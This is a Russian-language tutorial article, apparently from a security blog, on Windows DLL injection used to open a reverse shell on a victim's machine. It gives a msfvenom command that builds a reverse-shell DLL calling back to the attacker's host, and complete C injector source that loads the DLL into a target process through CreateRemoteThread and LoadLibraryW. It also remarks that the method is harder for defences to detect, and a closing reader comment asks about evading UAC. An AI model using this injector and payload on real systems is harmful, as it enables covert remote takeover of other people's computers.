В этой статье мы продолжим тему инъекций кода и поговорим о том, как можно осуществлять инъекции кода с помощью DLL. Общая идеология будет та же, что и в предыдущей статье – с помощью инъекции запустить реверсивный шелл на машине жертвы, и получить доступ на нее. Но для начала давайте поговорим о том, что такое DLL и как с ними работать.
Динамические библиотеки
В современных операционных системах нормальной практикой является использование одних и тех же функций различными приложениями. Совершенно очевидно, что эти функции лучше поместить в динамические библиотеки, из которых приложения смогут к ним обращаться при необходимости. Для этого, собственно, и существуют Dynamic Link Library.
DLL — это библиотека, содержащая код и данные, которые могут использоваться несколькими программами одновременно. Например, в операционных системах Windows DLL-библиотека Comdlg32
выполняет общие функции, связанные с диалоговыми окнами. Каждая программа может использовать функции, содержащиеся в этой библиотеке DLL, для реализации диалогового окна Открыть. Это способствует повторному использованию кода и эффективному использованию памяти.
И хотя по своей сути DLL являются исполняемыми файлами, запустить их также, как выполнимый файл, невозможно. Для работы с DLL необходим специальный код, вызывающий их функции.
В контексте нашей сегодняшней задачи поговорим о еще одном инструменте ОС Windows – RunDll32
. Системная утилита командной строки RunDll32 разработана для загрузки и запуска функций из 32/64-битных библиотек DLL. Тем не менее, ошибочно было бы считать, что утилита rundll32 является средством для "запуска DLL" по аналогии с исполняемым приложением.
Для вызова функций из DLL мы должны сначала загрузить нашу DLL с помощью утилиты RunDll32, а уже потом обратиться к нужным нам функциям. Собственно, в этом и состоит суть DLL инъекций.
Теперь давайте перейдем к делу.
Создаем свою DLL
Как и в случае с инъекцией процессов нам необходима полезная нагрузка, которую мы будем инжектировать. Конечно, мы могли бы написать собственную DLL самостоятельно, но проще прибегнуть к помощи msfvenom
.
Синтаксис вызова этой утилиты будет несколько проще, в случае инъекции, описанной в первой статье. Здесь нам не нужно бороться с плохими байтами, так как мы не инжектируем код непосредственно в чужой процесс. Вместо этого мы просто запускаем DLL и нам совершенно неважно из каких байтов он состоит.
Напомню, нам нужен реверсивный шелл, то есть машина жертвы должна сама установить соединение с узлом злоумышленника. Соответственно LHOST это адрес атакующего, LPORT – порт, на котором он ожидает соединения. Формат выходного файла будет DLL.
Общий синтаксис будет следующим:
msfvenom -p windows/shell_reverse_tcp LHOST=IP_адрес_атакующего LPORT=порт_для_связи -f dll -o имя_файла.dll
Например:
Принцип работы нашего сегодняшнего инжектора будет несколько отличаться от того, который мы использовали в предыдущей статье. Если ранее мы по сути копировали код в память процесса жертвы и там его запускали, то теперь мы инжектируем процесс rundll32
с запуском нашей DLL и вызовом из нее нужной функции. Далее мы вызываем функцию из нашего dll, которая и будет устанавливать реверс шелл с машиной злоумышленника.
Код нашего инжектора также несколько отличается от предыдущего примера. Здесь уже нет большого блока с полезной нагрузкой, который может вызвать подозрения у сигнатурного анализатора антивируса. Но, по сути, эта программа тоже содержит подозрительную активность, так как инжектирует запуск RunDll32
в процесс жертву.
Посмотрим исходный код. Для простоты у меня указан полный путь к файлу dll, хотя, конечно, это необязательно.
#include "stdafx.h"
#include "Windows.h"
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = L"c:\\evil.dll";
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
Перед инъекцией надо не забыть запустить прослушивание порта на машине злоумышленника.
Ну и смотрим, что происходит с процессами на машине жертвы после осуществления нашей DLL инъекции.
Как в видно, основной процесс notepad.exe
запустил дочерний Rundll32
, который в свою очередь запустил cmd.exe
из нашей dll.
В результате получаем шелл на машину жертвы с правами пользователя, запустившего Notepad.
Заключение
Использование DLL инъекций несколько усложняет выявление данных активностей средствами защиты. У нас нет в коде инжектора внедряемой сигнатуры, нам не надо бороться с плохими байтами, да и инжектируем мы RunDll32, который уже взаимодействует с целевой dll. Однако, само поведение процесса жертвы может выглядеть несколько подозрительным. Так средства EDR могут заподозрить неладное в поведении пользовательских процессов, когда калькулятор или тот же блокнот запустит Rundll, который в свою очередь породит еще один дочерний процесс cmd.exe.
В следующей статье мы поговорим об отраженных DLL инъекциях – технике, позволяющей обойти некоторые из ограничений уже описанных инъекций.
О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.
gena_k
UAC помешает незаметному выполнению?
Ранее часто внедрял свой код через замену одной из требуемых dll на собственную. Сейчас этот способ можно провернуть незаметно?